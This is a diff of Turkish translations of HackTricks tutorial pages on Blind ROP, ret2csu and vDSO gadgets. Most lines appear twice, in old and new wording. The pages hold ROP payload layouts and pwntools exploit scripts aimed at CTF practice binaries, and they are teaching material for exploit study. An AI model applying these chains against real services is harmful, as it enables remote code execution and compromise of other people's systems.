Bu saldırının amacı, **zararlı bir ikili hakkında hiçbir bilgi olmadan bir ROP'u bir tampon taşması aracılığıyla kötüye kullanabilmektir**.\
Bu saldırının amacı, **zararlı bir ikili hakkında hiçbir bilgi olmadan bir ROP'u kötüye kullanabilmektir**.\
Bu saldırı aşağıdaki senaryoya dayanmaktadır:
* Bir yığın güvenlik açığı ve nasıl tetikleneceği hakkında bilgi.
@ -24,105 +24,105 @@ Bu saldırı aşağıdaki senaryoya dayanmaktadır:
## Saldırı
### **1. Hassas ofseti bulma** sunucunun bir arıza tespit edilene kadar bir karakter daha gönderilmesi
### **1. Savunmasız ofseti bulma** sunucunun bir arıza tespit edilene kadar bir karakter daha gönderilir
### **2. Canary'yi kaba kuvvetle çözme** sızdırmak için&#x20;
### **2. Canary'yi brute-force etme** sızdırmak için&#x20;
### **3. Depolanmış RBP ve RIP'yi kaba kuvvetle çözme** adreslerini sızdırmak için yığında
### **3. Depolanmış RBP ve RIP'yi brute-force etme** adreslerini sızdırmak için
Bu süreçler hakkında daha fazla bilgiyi [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) bulabilirsiniz.
Bu işlemler hakkında daha fazla bilgiyi [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) bulabilirsiniz.
### **4. Durak cihazını bulma**
Bu cihaz temelde, ROP cihazı tarafından bir şeyin ilginç bir şekilde yürütüldüğünü onaylamaya izin verir çünkü yürütme çökmemiştir. Genellikle, bu cihaz genellikle yürütmenin durmasına neden olan bir şey olacaktır ve belirli bir ROP cihazının yürütüldüğünü doğrulamak için ROP cihazlarını ararken ROP zincirinin sonunda konumlandırılır.
Bu cihaz temelde, ROP cihazı tarafından bir şeyin ilginç bir şekilde yürütüldüğünü onaylamaya izin verir çünkü yürütme çökmemiştir. Genellikle, bu cihazın yürütme **durdurduğu bir şey olacak** ve belirli bir ROP cihazının yürütüldüğünü doğrulamak için ROP cihazlarını ararken ROP zincirinin sonunda konumlandırılır.
### **5. BROP cihazını bulma**
Bu teknik [**ret2csu**](ret2csu.md) cihazını kullanır. Ve bu, bu cihaza erişirseniz, **`rsi`** ve **`rdi`**'yi kontrol etmek için cihazlar elde edersiniz:
Bu teknik, [**ret2csu**](ret2csu.md) cihazını kullanır. Ve bu, bu cihaza erişirseniz ortadaki bazı talimatlarla **`rsi`** ve **`rdi`**'yi kontrol etmek için cihazlar elde edersiniz:
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Bunlar cihazlar olacaktır:
Bu cihazlar olacaktır:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Bu cihazlarla **bir işlevin 2 argümanını kontrol etmek mümkündür**.
Bu cihazlarla **bir işlevin 2 argümanını kontrol etmek** mümkündür.
Ayrıca, ret2csu cihazının **çok benzersiz bir imzası** olduğuna dikkat edin çünkü yığından 6 kaydı çıkaracak. Bu nedenle, aşağıdaki gibi bir zincir göndermek mümkündür:
Ayrıca, ret2csu cihazının **çok benzersiz bir imzası** olduğuna dikkat edin çünkü yığından 6 kaydı çıkaracak. Bu nedenle, aşağıdaki gibi bir zincir göndererek:
`'A' * ofset + canary + rbp + ADRES + 0xdead * 6 + DUR`
`'A' * ofset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Eğer **DUR yürütülürse**, bu temelde yığından 6 kaydı çıkaran bir adresin kullanıldığı anlamına gelir. Veya kullanılan adres aynı zamanda bir DUR adresiydi.
Eğer **STOP yürütülürse**, bu temelde yığından 6 kaydı çıkaran bir adresin kullanıldığı anlamına gelir. Veya kullanılan adres aynı zamanda bir DURAK adresiydi.
Bu son seçeneği **kaldırmak için** önceki birinin 6 kaydı çıkardığını doğrulamak için aşağıdaki gibi yeni bir zincir yürütülür ve DUR cihazını yürütmemesi gerekir:
Bu son seçeneği **kaldırmak için** önceki birinin 6 kaydı çıkardığını doğrulamak için aşağıdaki gibi yeni bir zincir yürütülür ve STOP cihazını yürütmemesi gerekir:
`'A' * ofset + canary + rbp + ADRES`
`'A' * ofset + canary + rbp + ADDR`
ret2csu cihazının adresini bildiğinizde, **`rsi` ve `rdi`'yi kontrol etmek için cihazların adresini çıkarabilirsiniz**.
### 6. PLT'yi bulma
PLT tablosu, 0x400000'den veya yığın üzerindeki **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablonun **girişleri** 16B (0x10B) ile ayrılmıştır ve bir işlev çağrıldığında sunucu çökmez, hatta argümanlar doğru değilse. Ayrıca, **PLT + 6B'deki bir giriş adresi de çökmüyor** çünkü bu ilk kodu yürütülen yerdir.
PLT tablosu, 0x400000'den veya yığın üzerindeki **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablonun **girişleri** 16B (0x10B) ile ayrılmıştır ve bir işlev çağrıldığında sunucu çökmez, hatta argümanlar doğru değilse bile. Ayrıca, **PLT + 6B'deki bir giriş adresini kontrol etmek de çökmez** çünkü bu ilk kodun yürütüldüğü yerdir.
Bu nedenle, PLT tablosunu bulmak için aşağıdaki davranışları kontrol etmek mümkündür:
* `'A' * ofset + canary + rbp + ADRES + DUR` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADRES + 0x6) + DUR` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADRES + 0x10) + DUR` -> çökme olmaz
* `'A' * ofset + canary + rbp + ADDR + STOP` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADDR + 0x6) + STOP` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADDR + 0x10) + STOP` -> çökme olmaz
### 7. strcmp'i bulma
**`strcmp`** işlevi, karşılaştırılan dize uzunluğunu belirten **`rdx`** kaydını ayarlar. **`rdx`**'in **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write`'ı kullanabilmek için 0'dan büyük olması gerektiğini unutmayın.
**`strcmp`** işlevi, karşılaştırılan dize uzunluğunu belirlemek için **`rdx`** kaydını ayarlar. **`rdx`**'in **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write`'ı kullanabilmek için bunun **0'dan büyük olması gerektiğini** unutmayın.
Şimdi, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak, **`strcmp`**'in PLT'deki konumunu bulmak mümkündür:
Şimdi, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak, **PLT'deki strcmp'in konumunu** bulmak mümkündür:
* strcmp(\<okunmayan adres>, \<okunmayan adres>) -> çökme
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme olmaz
Bunu kontrol etmek için PLT tablosunun her girişini çağırarak veya **PLT yavaş yolu**'nu kullanarak yapılabilir. Bu temelde, **PLT tablosundaki bir girişi + 0xb** (ki bu **`dlresolve`**'a çağrı yapar) çağırmak ve yığında **denetlemek istediğiniz giriş numarası** (sıfırdan başlayarak) ile tüm PLT girişlerini taramak anlamına gelir:
Bunu kontrol etmek için PLT tablosunun her girişini çağırarak veya **PLT yavaş yolu**'nu kullanarak yapılabilir. Bu, temelde **PLT tablosuna + 0xb** (ki bu **`dlresolve`'u** çağırır) çağrı yaparak ve yığında **denetlemek istediğiniz giriş numarasını** (sıfırdan başlayarak) takip ederek tüm PLT girişlerini taramayı içerir:
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DUR` -> Çökecek
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DUR`&#x20;
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme olmaz
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DUR`&#x20;
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
Unutmayın ki:
* BROP + 0x7 **`pop RSI; pop R15; ret;`'e işaret eder**
* BROP + 0x9 **`pop RDI; ret;`'e işaret eder**
* PLT + 0xb **`dl\_resolve`'a bir çağrı yapar**.
* BROP + 0x7 **`pop RSI; pop R15; ret;`'e** işaret eder
* BROP + 0x9 **`pop RDI; ret;`'e** işaret eder
* PLT + 0xb **dl\_resolve**'a bir çağrı yapar.
`strcmp` bulunduğunda, **`rdx`**'i 0'dan büyük bir değere ayarlamak mümkün olacaktır.
{% hint style="success" %}
Genellikle `rdx` zaten 0'dan büyük bir değere sahip olacaktır, bu nedenle bu adım gerekli olmayabilir.
Genellikle `rdx` zaten 0'dan büyük bir değere sahip olacaktır, bu nedenle bu adım gereksiz olabilir.
{% endhint %}
### 8. Write Veya Eşdeğeri Bulma
Son olarak, ikili dosyayı dışa aktarmak için veri dışa aktaran bir araca ihtiyaç duyulmaktadır. Ve bu noktada **2 argümanı kontrol etmek ve `rdx`'i 0'dan büyük ayarlamak mümkündür.**
Son olarak, verileri dışa aktarmak için veri çalan bir araca ihtiyaç duyulmaktadır. Ve bu noktada **2 argümanı kontrol etmek ve `rdx`'i 0'dan büyük ayarlamak mümkündür.**
Bunu yapmak için kötüye kullanılabilecek 3 yaygın fonksiyon bulunmaktadır:
Bunu gerçekleştirmek için kullanılabilecek 3 yaygın fonksiyon bulunmaktadır:
* `puts(data)`
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
Ancak, orijinal makale sadece **`write`**'ı belirtir, bu yüzden ondan bahsedelim:
Ancak, orijinal makale sadece **`write`** fonksiyonundan bahseder, bu yüzden ondan bahsedelim:
Mevcut sorun, **write fonksiyonunun PLT içinde nerede olduğunu bilmiyoruz** ve **verileri soketimize göndermek için bir fd numarası bilmiyoruz**.
Mevcut sorun, **write fonksiyonunun PLT içinde nerede olduğunu bilmiyor olmamız** ve **verileri soketimize göndermek için bir fd numarasına sahip olmamız**dır.
Ancak, **PLT tablosunun nerede olduğunu biliyoruz** ve davranışına dayanarak write'ı bulmak mümkündür. Ve sunucuyla **birkaç bağlantı oluşturabiliriz ve yüksek bir FD kullanarak** bağlantılarımızdan bazılarıyla eşleşmesini umabiliriz.
Bu fonksiyonları bulmak için davranış imzaları:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırılıyorsa, puts bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırılıyorsa, dprintf bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırılıyorsa, write bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, puts bulunmuştur
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, dprintf bulunmuştur
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, write bulunmuştur
## Otomatik Sömürü

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -20,13 +20,13 @@ HackTricks'ı desteklemenin diğer yolları:
**ret2csu**, bir programın kontrolünü ele geçirmeye çalışırken genellikle programın davranışını manipüle etmek için kullandığınız **gadget'ları** bulamadığınızda kullanılan bir hackleme tekniğidir.&#x20;
Bir program belirli kütüphaneleri (örneğin libc) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracaklarını yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen bir tanesi gibi, eksik gadget'larımız gibi davranabilen bazı gizli mücevherler bulunmaktadır.
Bir program belirli kütüphaneleri (örneğin libc) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracaklarını yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen bir tanesi gibi, eksik gadget'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır.
### \_\_libc\_csu\_init'teki Sihirli Gadget'lar
**`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:
1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz yuvalar gibidir.
1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler kurmamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri saklayabileceğimiz yuvalar gibidir.
```armasm
pop rbx;
pop rbp;
@ -36,10 +36,10 @@ pop r14;
pop r15;
ret;
```
Bu cihaz, bu kayıtları yığınından çıkararak kontrol etmemizi sağlar.
Bu cihaz, bu kayıtları yığından çıkararak onları kontrol etmemizi sağlar.
2. İkinci sıra, kurduğumuz değerleri kullanarak birkaç şey yapar:
* **Belirli değerleri diğer kayıtlara taşır**, böylece bunları işlevlerde parametre olarak kullanmaya hazır hale getirir.
2. İkinci sıra, kurduğumuz değerleri kullanarak birkaç şey yapmamızı sağlar:
* **Belirli değerleri diğer kayıtlara taşır**, bunları işlevlerde parametre olarak kullanmaya hazır hale getirir.
* r15 ve rbx'deki değerleri toplayarak belirlenen bir konuma **çağrı yapar**, ardından rbx'i 8 ile çarpar.
```armasm
mov rdx, r15;
@ -47,7 +47,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve bir `ret` talimatına ihtiyacınız var. İkinci cihazın da bir `ret` ile sona ereceğini unutmayın, ancak ona ulaşmak için bazı koşulları karşılamanız gerekecek:
2. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve bir `ret` talimatına ihtiyacınız var. İkinci cihaz da bir `ret` ile sona erecek, ancak ona ulaşmak için bazı koşulları karşılamanız gerekecek:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -62,7 +62,7 @@ ret
Koşullar şunlar olacak:
* `[r12 + rbx*8]`, çağrılabilir bir işlevi işaret eden bir adrese işaret etmelidir (fikir yoksa ve pie yoksa, sadece `_init` işlevini kullanabilirsiniz):
* Eğer \_init `0x400560` adresindeyse, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]` adresi, \_init'e işaret eden işaretçi olan adres olsun:
* Eğer \_init `0x400560` adresinde ise, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]` adresinin \_init işaretçisi olan adrese işaret etmesini sağlayın:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560
Ret2csu cihazından **`rdi`** ve **`rsi`**'yi kontrol etmenin başka bir yolu, belirli ofsetlere erişerek yapılır:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Daha fazla bilgi için bu sayfaya bakın:
@ -91,12 +91,12 @@ Daha fazla bilgi için bu sayfaya bakın:
### Çağrıyı Kullanma
Bir sistem çağrısı yapmak veya `write()` gibi bir işlevi çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında belirli değerlere ihtiyacınız var. Genellikle, bu kayıtları doğrudan ayarlayan cihazlar ararsınız, ancak bulamazsınız.
Bir sistem çağrısı yapmak veya `write()` gibi bir işlevi çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan cihazları arardınız, ancak hiçbirini bulamazsınız.
İşte burada **ret2csu** devreye giriyor:
İşte burada **ret2csu** devreye girer:
1. **Kayıtları Ayarlayın**: İlk sihirli cihazı kullanarak yığınından değerleri alıp rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e yerleştirin.
2. **İkinci Cihazı Kullanın**: Bu kayıtlar ayarlandıktan sonra ikinci cihazı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır, işlev çağrısı için parametreleri hazırlar. Dahası, `r15` ve `rbx`'i kontrol ederek, hesapladığınız ve `[r15 + rbx*8]`'e yerleştirdiğiniz adreste bulunan bir işlevi çağırabilirsiniz.
1. **Kayıtları Ayarlayın**: İlk sihirli cihazı kullanarak değerleri yığından rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e aktarın.
2. **İkinci Cihazı Kullanın**: Bu kayıtlar ayarlandıktan sonra ikinci cihazı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır, işlev çağrısı için parametreleri hazırlar. Dahası, `r15` ve `rbx`'i kontrol ederek, hesapladığınız ve `[r15 + rbx*8]`'e yerleştirdiğiniz adreste bulunan bir işlevi programı çağırabilirsiniz.
Bu tekniği kullanan ve açıklayan bir [**örneğe buradan ulaşabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), ve kullanılan son saldırı şu şekildedir:
```python
@ -123,7 +123,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Önceki saldırının bir **`RCE`** yapmak için değil, sadece `win` adlı bir işlevi çağırmak için tasarlandığını unutmayın (`win` adresini stdin'den alarak ROP zincirinde gets'i çağırıp r15'te saklamak).
Önceki saldırının bir **`RCE`** yapmak için değil, sadece `win` adlı bir işlevi çağırmak için tasarlandığını unutmayın (`win` adresini stdin'den alarak ROP zincirinde gets'i çağırıp ve 0xdeadbeefcafed00d değerini r15'e depolayarak).
{% endhint %}
### Çağrıyı atlayarak ve ret'e ulaşarak geçme
@ -178,6 +178,6 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Neden Sadece libc'yi Kullanmıyoruz?
### Neden Doğrudan libc Kullanmıyoruz?
Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bu parametreleri doğrudan ayarlamak için gerekli gadget'ları bulmak mümkün olmayabilir**.
Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bu parametreleri doğrudan ayarlamak için gerekli olan gadget'ları bulmak mümkün olmayabilir**.

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -18,7 +18,7 @@ HackTricks'ı desteklemenin diğer yolları:
Genellikle kullanıcı modundan çekirdek moduna geçiş için kullanılan **vDSO bölgesindeki aygıtlar** olabilir. Bu tür zorluklarda genellikle bir çekirdek görüntüsü sağlanır ve vDSO bölgesi dökülür.
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünün dökülmesinin ve ana bilgisayara taşınmasının nasıl mümkün olduğunu görebilirsiniz:
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünün dökülmesinin ve ana bilgisayara taşınmasının nasıl mümkün olduğunu görebilirsiniz.
```bash
# Find addresses
cat /proc/76/maps
@ -44,7 +44,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP cihazları bulundu:
Bulunan ROP cihazları:
```python
vdso_addr = 0xf7ffc000
@ -63,16 +63,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
{% hint style="danger" %}
Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlayabilir** olabileceğine dikkat edin eğer kernel CONFIG\_COMPAT\_VDSO ile derlenmişse, vdso adresi rastgele olmayacaktır: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{% endhint %}
### ARM64
Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir araç bulamadım (yığında bulunan değerlerden kayıtları kontrol etmek veya bir ret için x30'u kontrol etmek için bir yol yok) **ancak bir SROP'u çağırmak için bir yol var**. Daha fazla bilgi için sayfadaki örneğe bakın:
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
